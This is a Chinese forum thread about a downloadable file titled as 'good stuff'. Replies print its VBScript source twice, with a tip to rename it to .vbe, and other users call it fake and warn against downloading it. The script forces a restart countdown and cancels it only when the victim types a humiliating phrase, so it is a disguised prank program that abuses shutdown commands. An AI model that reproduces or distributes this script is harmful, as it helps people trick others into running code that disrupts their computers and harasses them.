好东西.txt[点击下载](1 K) 下载次数:32 累计下载获得 ＤＢ 60 刀   Txt文档。不怕有毒吧？
                          

                                  哎呀我的吗。 有读我死全家

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""说我是猪，不说我是猪就十秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"


--------------------------上面的是源码记住后缀改成vbe--------------------------------





我N年前就知道了

这个就是坑爹的.

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 10 -c ""说我是猪，不说我是猪就十秒关你机，不信，试试···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""　","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，你确实是一头猪~"


--------------------------上面的是源码记住后缀改成vbe--------------------------------

这是神马东西

神马东西啊，是自动关机的吧？？？？？？？？？？？？？？？？？楼下求解

好东西到底是什么东西呢

不敢

浪费我DB

什么玩意

山寨的

冒牌货

只为777T

果断不下

什么东西 ？？？分够再下啊

表示不会用   求教

大家不要下载！      后果自负

冒牌货，我擦